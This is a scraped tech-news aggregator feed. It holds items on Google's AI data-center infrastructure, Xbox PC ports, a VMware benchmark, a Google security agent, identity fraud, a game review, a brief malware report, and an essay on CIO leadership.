<p class="wp-block-paragraph"><strong>ML: </strong>People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a> and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.</p>



<p class="wp-block-paragraph"><strong>NW: How has the orchestration platform changed for agents?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">GKE</a> [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the <a href="https://cloud.google.com/kubernetes-engine">GKE stack</a>: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.</p>



<p class="wp-block-paragraph"><strong>NW: What is the role of the network and storage infrastructure?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. <a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">We created the Virgo network</a> — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.</p>



<p class="wp-block-paragraph">In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.</p>



<p class="wp-block-paragraph">We’ve introduced <a href="https://cloud.google.com/products/managed-lustre">Managed Lustre 10T</a>, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.</p>



<p class="wp-block-paragraph"><strong>NW: How does KV cache strategy differ between training and inference?</strong></p>



<p class="wp-block-paragraph"><strong>ML:</strong> For <a href="https://blog.google/innovation-and-ai/infrastructure-and-cloud/google-cloud/eighth-generation-tpu-agentic-era/">TPU-8i</a>, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.</p>



<p class="wp-block-paragraph">We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.</p>
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<title><![CDATA[Microsoft hat gerade mein Lieblingsspiel aus der alten Xbox-Ära für den PC veröffentlicht]]></title>
<description><![CDATA[Wir schreiben das Jahr 2003. Ich bin ein Neuntklässler und spiele auf der Original-Xbox mit einem Controller, der ungefähr so groß ist wie eine Servierplatte. Ich besitze Halo und  Dead or Alive 3 und bin von der Grafik völlig begeistert. Das nächste Spiel, das ich mir kaufe, ist Crimson Skies, e...]]></description>
<link>https://tsecurity.de/de/3689084/it-nachrichten/microsoft-hat-gerade-mein-lieblingsspiel-aus-der-alten-xbox-aera-fuer-den-pc-veroeffentlicht/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689084/it-nachrichten/microsoft-hat-gerade-mein-lieblingsspiel-aus-der-alten-xbox-aera-fuer-den-pc-veroeffentlicht/</guid>
<pubDate>Thu, 23 Jul 2026 14:49:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Wir schreiben das Jahr 2003. Ich bin ein Neuntklässler und spiele auf der Original-Xbox mit einem Controller, der ungefähr so groß ist wie eine Servierplatte. Ich besitze <em>Halo </em>und  <em>Dead or Alive 3</em> und bin von der Grafik völlig begeistert. Das nächste Spiel, das ich mir kaufe, ist <em>Crimson Skies</em>, ein arcadeartiges Luftkampfspiel, das alternative Geschichte mit Abenteuer-Pulp verbindet und über eine wirklich hervorragende Steuerung verfügt.</p>



<p>Seit über 20 Jahren versuche ich nun, dieses Gefühl – wenn schon nicht genau diese Erfahrung – wieder aufleben zu lassen. </p>



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<p>Die meisten der Blockbuster-Titel aus dem ursprünglichen Xbox-Sortiment können Sie bereits jetzt auf dem PC spielen, darunter auch <em>Halo</em>, für das sowohl ein Remaster als auch ein Remake in Vorbereitung sind. Einige der eher nischenorientierten Titel waren jedoch schon seit sehr, sehr langer Zeit nicht mehr erhältlich, mit Ausnahme einiger weniger, die Sie über den Game Pass streamen können.</p>



<p>Microsoft hat beschlossen, einige dieser weniger bekannten Klassiker – und vielleicht auch ein paar, die dem Begriff „Klassiker“ nicht ganz gerecht werden – in Form vollständiger Portierungen für PC-Spieler verfügbar zu machen.</p>



<h2 class="wp-block-heading">Xbox-„Klassiker“ erhalten PC-Ports</h2>



<p>Das Unternehmen nennt dies „<a href="https://news.xbox.com/en-us/2026/07/22/xbox-backward-compatibility-on-pc/">Xbox-Abwärtskompatibilität auf dem PC</a>“. Der Start erfolgt mit vier Spielen, weitere sollen in Kürze folgen. Diese Spiele laufen lokal auf Ihrem Windows-PC, offenbar ohne jegliche Emulation (oder falls eine Emulation stattfindet, wird dies nicht ausdrücklich erwähnt), wobei bestimmte Mindestsystemanforderungen gelten, darunter eine GTX 950- oder Radeon RX 550-Grafikkarte. Grundsätzlich sollte jeder PC, der in den letzten sechs oder sieben Jahren auf den Markt gekommen ist, diese Anforderungen erfüllen, einschließlich Laptops und Handhelds mit integrierter Grafik.</p>



<p>Zu den ersten Titeln gehört <em>Crimson Skies: High Road to Revenge</em>, von dem ich erst später erfuhr, dass es sich um eine ausschließlich für Konsolen veröffentlichte Fortsetzung eines früheren PC-Spiels handelt. Es kostet zehn Euro – erstaunlich günstig in einer Welt, in der Microsoft 40 Euro für eine Wieder-Wieder-Wiederveröffentlichung von <em>Skyrim </em>verlangt<em>.</em></p>



<p>Ich habe es sofort gekauft und wollte es herunterladen … doch das geht nicht, da es laut der Xbox-App für Windows nur per Streaming über den Game Pass verfügbar ist.</p>



<p>Microsoft gibt an, dass man die neueste Version des Xbox-Insider-Builds benötigt, über die ich bereits verfüge. Dies scheint eine schrittweise Einführung zu sein – ein häufiges Problem bei Funktionen, die von der Xbox-Windows-App abhängig sind. Ich bin etwas verärgert, dass ich es nicht sofort ausprobieren kann.</p>



<p>Das bedeutet auch, dass es nahezu unmöglich sein wird, das Spiel auf einem SteamOS-basierten Gerät zu spielen. Was für mich persönlich sehr schade ist, <a href="https://www.pcwelt.de/article/3194800/steam-machine-im-praxistest-ganz-nett-aber-leider-enttaeuschend.html" target="_blank" rel="noreferrer noopener">da ich gerade erst eine Steam Machine gekauft habe</a>. Ich werde diesen Artikel aktualisieren, sobald ich das Spiel zum Laufen gebracht habe.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a620da47251c"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/image_552da1.png?w=1200" alt="ROG Xbox Ally X playing Crimson Skies" class="wp-image-3197144" width="1200" height="675" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button></figure><p class="imageCredit">Microsoft</p></div>



<p>Die weiteren Titel sind <em>Blinx: The Time Sweeper</em>, einer der frühen Versuche, der Xbox ein Maskottchen-Plattformspiel zu geben, <em>Conker: Live &amp; Reloaded</em>, ein Remake des N64-Kuriosums <em>Conker’s Bad Fur Day</em>, das<em> </em>nach der Übernahme von Rare durch Microsoft entstand, sowie das extrem für die 2000er Jahre typische Partyspiel <em>Fusion Frenzy</em>. Alle vier waren Teil von Microsofts anfänglicher Veröffentlichungsoffensive für die Xbox, und <em>Blinx </em>sowie<em> Crimson Skies </em>sind zudem über den Game Pass verfügbar.</p>



<p>Ich bin mir sicher, dass es vielen PC-Spielern genauso geht wie mir und sie an mindestens eines dieser Spiele schöne Erinnerungen haben. Insbesondere <em>Blinx</em> bot einige sehr interessante Spielkonzepte, die auf älteren Konsolen nicht möglich waren – ermöglicht durch die interne 8-GB-Festplatte der Xbox, ein entscheidender Unterschied zur Playstation 2 und anderen Konsolen. Weitere Spiele sollen angeblich in Zukunft in die Xbox-Abwärtskompatibilität aufgenommen werden, wobei nicht genau angegeben wurde, um welche es sich dabei handelt.</p>



<h2 class="wp-block-heading">Tiefgreifende Probleme bei Xbox bleiben bestehen</h2>



<p>Doch ich fürchte, ich muss die Stimmung hier zum Schluss etwas trüben. Die Xbox als Plattform und als Geschäftsbereich von Microsoft befindet sich in einer prekären Lage: Sie kann im Wettbewerb mit der Playstation nicht mithalten, wird von Valve mit Steam und SteamOS unter Druck gesetzt und entlässt Tausende von Mitarbeitern aus ihrem riesigen, kostspieligen Bestand an Entwicklern und Publishern. Xbox muss dringend Spieler zurückgewinnen, die nach den massiven Preiserhöhungen für den Game Pass und die Xbox-Hardware möglicherweise zögern, der Plattform noch zu vertrauen.</p>



<p>Diese nostalgischen Neuzugänge für den PC folgen kurz nach Gerüchten über ein neues <em>Fallout-</em>Spiel des bei Fans beliebten Entwicklers (und der Microsoft-Tochter) Obsidian, der stark von Entlassungen betroffen war. Es liegt nahe, beide Schritte als Versuch zu betrachten, das Ruder herumzureißen und/oder die Spieler dazu zu bringen, die tiefgreifenden Probleme innerhalb von Xbox und Microsoft insgesamt zu vergessen. Dazu wird es jedoch mehr als eine 23 Jahre alte Portierung brauchen.</p>

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<title><![CDATA[We Asked an Independent Lab to Time Us. Here’s What They Found.]]></title>
<description><![CDATA[A new Principled Technologies benchmark tested VMware Data Services Manager 9.1 against manual PostgreSQL operations across five real world scenarios. It’s Tuesday afternoon. A developer submits a ticket requesting a new PostgreSQL HA cluster for a pre-production environment. Your DBA opens vCent...]]></description>
<link>https://tsecurity.de/de/3689034/downloads/we-asked-an-independent-lab-to-time-us-heres-what-they-found/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689034/downloads/we-asked-an-independent-lab-to-time-us-heres-what-they-found/</guid>
<pubDate>Thu, 23 Jul 2026 14:32:09 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="300" height="167" src="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?w=300" class="attachment-medium size-medium wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg 1376w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=300,167 300w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=768,429 768w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=1024,572 1024w, https://blogs.vmware.com/cloud-foundation/wp-content/uploads/sites/75/2026/07/PT-DSM-White-Paper-Announcement.jpg?resize=600,335 600w" sizes="(max-width: 300px) 100vw, 300px"></div>
<p>A new Principled Technologies benchmark tested VMware Data Services Manager 9.1 against manual PostgreSQL operations across five real world scenarios. It’s Tuesday afternoon. A developer submits a ticket requesting a new PostgreSQL HA cluster for a pre-production environment. Your DBA opens vCenter, deploys three VMs from the gold template, SSHs into each node, regenerates machine … <a href="https://blogs.vmware.com/cloud-foundation/2026/07/23/we-asked-an-independent-lab-to-time-us-heres-what-they-found/">Continued</a></p>
<p>The post <a href="https://blogs.vmware.com/cloud-foundation/2026/07/23/we-asked-an-independent-lab-to-time-us-heres-what-they-found/">We Asked an Independent Lab to Time Us. Here’s What They Found.</a> appeared first on <a href="https://blogs.vmware.com/cloud-foundation">VMware Cloud Foundation (VCF) Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[Google transforms its data center architecture for agent era]]></title>
<description><![CDATA[Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than t...]]></description>
<link>https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the <a href="https://www.networkworld.com/article/4175890/cisco-ai-traffic-is-radically-reshaping-wans.html">onslaught of agents</a>. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.</p>



<p class="wp-block-paragraph">“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said <a href="https://www.linkedin.com/in/marklohmeyer/">Mark Lohmeyer</a>, vice president and general manager for AI and computing infrastructure at Google.</p>



<p class="wp-block-paragraph">Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.</p>



<p class="wp-block-paragraph">In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But <a href="https://www.networkworld.com/article/4057121/network-and-cloud-implications-of-agentic-ai.html">agents could increase inference transactions</a> by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.</p>



<p class="wp-block-paragraph">“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Efficient data flow is key so agents can act, reason, and decide faster. </p>



<p class="wp-block-paragraph">Google adjusted the <a href="https://www.infoworld.com/article/2255921/gke-tutorial-get-started-with-google-kubernetes-engine.html">Google Kubernetes Engine</a> into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made drastic improvements to its silicon to support its middleware changes. It recently <a href="https://www.networkworld.com/article/4162004/google-bets-on-workload-specific-tpus-with-8t-and-8i-launch.html">introduced new AI chips</a>, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.</p>



<p class="wp-block-paragraph">The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new CPU called <a href="https://www.networkworld.com/article/4086182/google-cloud-aims-for-more-cost-effective-arm-computing-with-axion-n4a.html">Axion N4A</a> is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.</p>



<p class="wp-block-paragraph">Google also made many network and storage improvements to cut training and inference time. A new technology called <a href="https://cloud.google.com/blog/products/compute/tpu-8t-and-tpu-8i-technical-deep-dive">TPUDirect</a> can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.</p>



<p class="wp-block-paragraph"><a href="https://cloud.google.com/blog/products/networking/introducing-virgo-megascale-data-center-fabric">A networking technology called Virgo</a> can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.</p>



<p class="wp-block-paragraph">A new technology called <a href="https://docs.cloud.google.com/ai-hypercomputer/docs/workloads/pathways-on-cloud/pathways-intro">Pathways</a> is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.</p>



<p class="wp-block-paragraph">“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.</p>



<h2 class="wp-block-heading">Weighing Google’s AI data-center stack</h2>



<p class="wp-block-paragraph">Google is the only provider with its own data centers, software, hardware and models, said <a href="https://www.linkedin.com/in/jckgld/">Jack Gold</a>, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.</p>



<p class="wp-block-paragraph">Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.</p>



<p class="wp-block-paragraph">“There is no real risk of Nvidia being replaced by Google in a big way. But with an ever-expanding market, there is plenty of room for all players,” Gold said.</p>



<p class="wp-block-paragraph">But <a href="https://www.linkedin.com/in/logan-wolfe/">Logan Wolfe</a>, partner at Kyndryl’s global AI strategy and sovereign transformation, advised enterprises to adopt a multi-cloud strategy to reduce risk from system failures, however superior an infrastructure may be. “I think that kind of hybrid and liquid infrastructure, we’re definitely getting there,” Wolfe said.</p>



<p class="wp-block-paragraph">The cost per token varies depending on the provider of inference, whether that’s Microsoft, Google, OpenAI or Anthropic. That will matter as AI moves from experimentation to a powerful tool that drives business changes.</p>



<p class="wp-block-paragraph">“Ultimately it really comes down to how much money are we spending on AI to move a certain business outcome,” Wolfe said.</p>
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<title><![CDATA[Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities]]></title>
<description><![CDATA[Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from traditional vulnera...]]></description>
<link>https://tsecurity.de/de/3689012/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689012/it-security-nachrichten/google-launches-codemender-ai-agent-to-find-validate-and-patch-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 14:23:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has introduced CodeMender, a new AI-powered code security agent designed to find, validate automatically, and patch vulnerabilities at machine speed, as organizations face a surge in AI-driven cyber threats targeting software supply chains. The launch marks a shift from traditional vulnerability scanning toward autonomous remediation, where security tools not only detect flaws but also […]</p>
<p>The post <a href="https://cybersecuritynews.com/google-launches-codemender-ai-agent/">Google Launches CodeMender AI Agent to Find, Validate, and Patch Vulnerabilities</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[How Synthetic Identity Fraud is Coming for Machine Identities]]></title>
<description><![CDATA[Most people understand identity theft as an attacker stealing a real person's sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several real data points...]]></description>
<link>https://tsecurity.de/de/3688997/it-security-nachrichten/how-synthetic-identity-fraud-is-coming-for-machine-identities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688997/it-security-nachrichten/how-synthetic-identity-fraud-is-coming-for-machine-identities/</guid>
<pubDate>Thu, 23 Jul 2026 14:15:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Most people understand identity theft as an attacker stealing a real person's sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several real data points with fabricated ones to create a person who doesn't exist. Since no real victim monitors misuse, a]]></content:encoded>
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<title><![CDATA[How Synthetic Identity Fraud is Coming for Machine Identities]]></title>
<description><![CDATA[Most people understand identity theft as an attacker stealing a real person’s sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several…
Read more →
The...]]></description>
<link>https://tsecurity.de/de/3688983/it-security-nachrichten/how-synthetic-identity-fraud-is-coming-for-machine-identities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688983/it-security-nachrichten/how-synthetic-identity-fraud-is-coming-for-machine-identities/</guid>
<pubDate>Thu, 23 Jul 2026 14:13:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Most people understand identity theft as an attacker stealing a real person’s sensitive information and impersonating them. Synthetic identity fraud is much harder to catch. Instead of stealing a real identity, the attacker manufactures a new one, frankensteining together several…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/how-synthetic-identity-fraud-is-coming-for-machine-identities/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/how-synthetic-identity-fraud-is-coming-for-machine-identities/">How Synthetic Identity Fraud is Coming for Machine Identities</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Go-Go Town! Review (PC)]]></title>
<description><![CDATA[We’ve seen a lot of cozy games which allow us to create a town and explore the world the devs have created, but with Go-Go Town!, things are a bit different. We are the mayor of a town, and we need to take control of it. That means everything from planning neighborhoods, automating logistics, han...]]></description>
<link>https://tsecurity.de/de/3688903/it-security-nachrichten/go-go-town-review-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688903/it-security-nachrichten/go-go-town-review-pc/</guid>
<pubDate>Thu, 23 Jul 2026 13:45:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We’ve seen a lot of cozy games which allow us to create a town and explore the world the devs have created, but with Go-Go Town!, things are a bit different. We are the mayor of a town, and we need to take control of it. That means everything from planning neighborhoods, automating logistics, handling the infrastructure, while also completing all kinds of unique objectives. The game also features co-op, which helps take the madness to new heights, and it’s even more exciting all the same.

The game’s premises are interesting, and the fact that it features a colorful cartoony style makes it even more interesting. But unlike other mayors that just issue orders, you are also taking part in the work as well. So yes, you have to complete tasks, manufacture goods, acquire resources and clean trash. It’s certainly not a glamorous life, but it is something fun, and a very immersive experience you will enjoy.

However, as the town expands, you are shifting away from hands-on ...]]></content:encoded>
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<title><![CDATA[Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process]]></title>
<description><![CDATA[Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the victim machine and controls it through Chrome DevTools Protocol, a d...]]></description>
<link>https://tsecurity.de/de/3688780/it-security-nachrichten/chaos-ransomware-msarat-hides-its-c2-channel-inside-a-legitimate-browser-process/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688780/it-security-nachrichten/chaos-ransomware-msarat-hides-its-c2-channel-inside-a-legitimate-browser-process/</guid>
<pubDate>Thu, 23 Jul 2026 13:02:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cisco Talos has identified a Rust-based remote access trojan it attributes to the Chaos ransomware group, named msaRAT after four of the binding names left in the binary. The tool starts its own instance of Chrome or Edge on the victim machine and controls it through Chrome DevTools Protocol, a debugging interface built into both browsers. The browser then carries the command-and-control traffic over a WebRTC channel. Once installed, the RAT process keeps all of … <a href="https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/cisco-talos-chaos-ransomware-msarat/">Chaos ransomware msaRAT hides its C2 channel inside a legitimate browser process</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688546/it-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Thu, 23 Jul 2026 11:43:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



